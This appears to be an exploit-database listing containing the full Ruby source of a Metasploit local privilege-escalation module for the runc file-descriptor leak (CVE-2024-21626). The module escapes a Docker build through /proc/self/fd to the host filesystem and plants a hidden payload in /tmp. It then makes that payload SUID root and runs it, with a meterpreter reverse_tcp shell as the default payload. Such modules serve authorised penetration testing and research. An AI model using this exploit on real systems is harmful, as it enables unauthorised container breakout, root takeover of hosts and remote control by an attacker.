runc 1.1.11 File Descriptor Leak Privilege Escalation

2024.02.06
Credit: h00die
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'runc (docker) File Descriptor Leak Privilege Escalation', 'Description' => %q{ All versions of runc <=1.1.11, as used by containerization technologies such as Docker engine, and Kubernetes are vulnerable to an arbitrary file write. Due to a file descriptor leak it is possible to mount the host file system with the permissions of runc (typically root). Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 using Docker build. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Rory McNamara' # Discovery ], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'URL', 'https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/'], [ 'URL', 'https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv'], [ 'CVE', '2024-21626'] ], 'DisclosureDate' => '2024-01-31', 'DefaultTarget' => 0, 'Notes' => { 'AKA' => ['Leaky Vessels'], 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK] }, 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'MeterpreterTryToFork' => true } ) ) register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]), OptString.new('DOCKERIMAGE', [ true, 'A docker image to use', 'alpine:latest' ]), OptInt.new('FILEDESCRIPTOR', [ true, 'The file descriptor to use, typically 7, 8 or 9', 8 ]), ] end def base_dir datastore['WritableDir'].to_s end def check sys_info = get_sysinfo unless sys_info[:distro] == 'ubuntu' return CheckCode::Safe('Check method only available for Ubuntu systems') end return CheckCode::Safe('Check method only available for Ubuntu systems') if executable?('runc') # Check the app is installed and the version, debian based example package = cmd_exec('runc --version') package = package.split[2] # runc, version, <the actual version> if package&.include?('1.1.7-0ubuntu1~22.04.1') || # jammy 22.04 only has 2 releases, .1 (vuln) and .2 package&.include?('1.0.0~rc10-0ubuntu1') || # focal only had 1 release prior to patch, 1.1.7-0ubuntu1~20.04.2 is patched package&.include?('1.1.7-0ubuntu2') # mantic only had 1 release prior to patch, 1.1.7-0ubuntu2.2 is patched return CheckCode::Appears("Vulnerable runc version #{package} detected") end unless package&.include?('+esm') # bionic patched with 1.1.4-0ubuntu1~18.04.2+esm1 so anything w/o +esm is vuln return CheckCode::Appears("Vulnerable runc version #{package} detected") end CheckCode::Safe("runc #{package} is not vulnerable") end def exploit # Check if we're already root if !datastore['ForceExploit'] && is_root? fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override' end # Make sure we can write our exploit and payload to the local system unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end # create directory to write all our files to dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" mkdir(dir) register_dirs_for_cleanup(dir) # Upload payload executable payload_path = "#{dir}/.#{rand_text_alphanumeric(5..10)}" vprint_status("Uploading Payload to #{payload_path}") write_file(payload_path, generate_payload_exe) register_file_for_cleanup(payload_path) # write docker file vprint_status("Uploading Dockerfile to #{dir}/Dockerfile") dockerfile = %(FROM #{datastore['DOCKERIMAGE']} WORKDIR /proc/self/fd/#{datastore['FILEDESCRIPTOR']} RUN cd #{'../' * 8} && chmod -R 777 #{dir[1..]} && chown -R root:root #{dir[1..]} && chmod u+s #{payload_path[1..]} ) write_file("#{dir}/Dockerfile", dockerfile) register_file_for_cleanup("#{dir}/Dockerfile") print_status('Building from Dockerfile to set our payload permissions') output = cmd_exec "cd #{dir} && docker build ." output.each_line { |line| vprint_status line.chomp } # delete our docker image if output =~ /Successfully built ([a-z0-9]+)$/ print_status("Removing created docker image #{Regexp.last_match(1)}") output = cmd_exec "docker image rm #{Regexp.last_match(1)}" output.each_line { |line| vprint_status line.chomp } end fail_with(Failure::NoAccess, "File Descriptor #{datastore['FILEDESCRIPTOR']} not available, try again (likely) or adjust FILEDESCRIPTOR.") if output.include? "mkdir /proc/self/fd/#{datastore['FILEDESCRIPTOR']}: not a directory" fail_with(Failure::NoAccess, 'Payload SUID bit not set') unless get_suid_files(payload_path).include? payload_path print_status("Payload permissions set, executing payload (#{payload_path})...") cmd_exec "#{payload_path} &" end end


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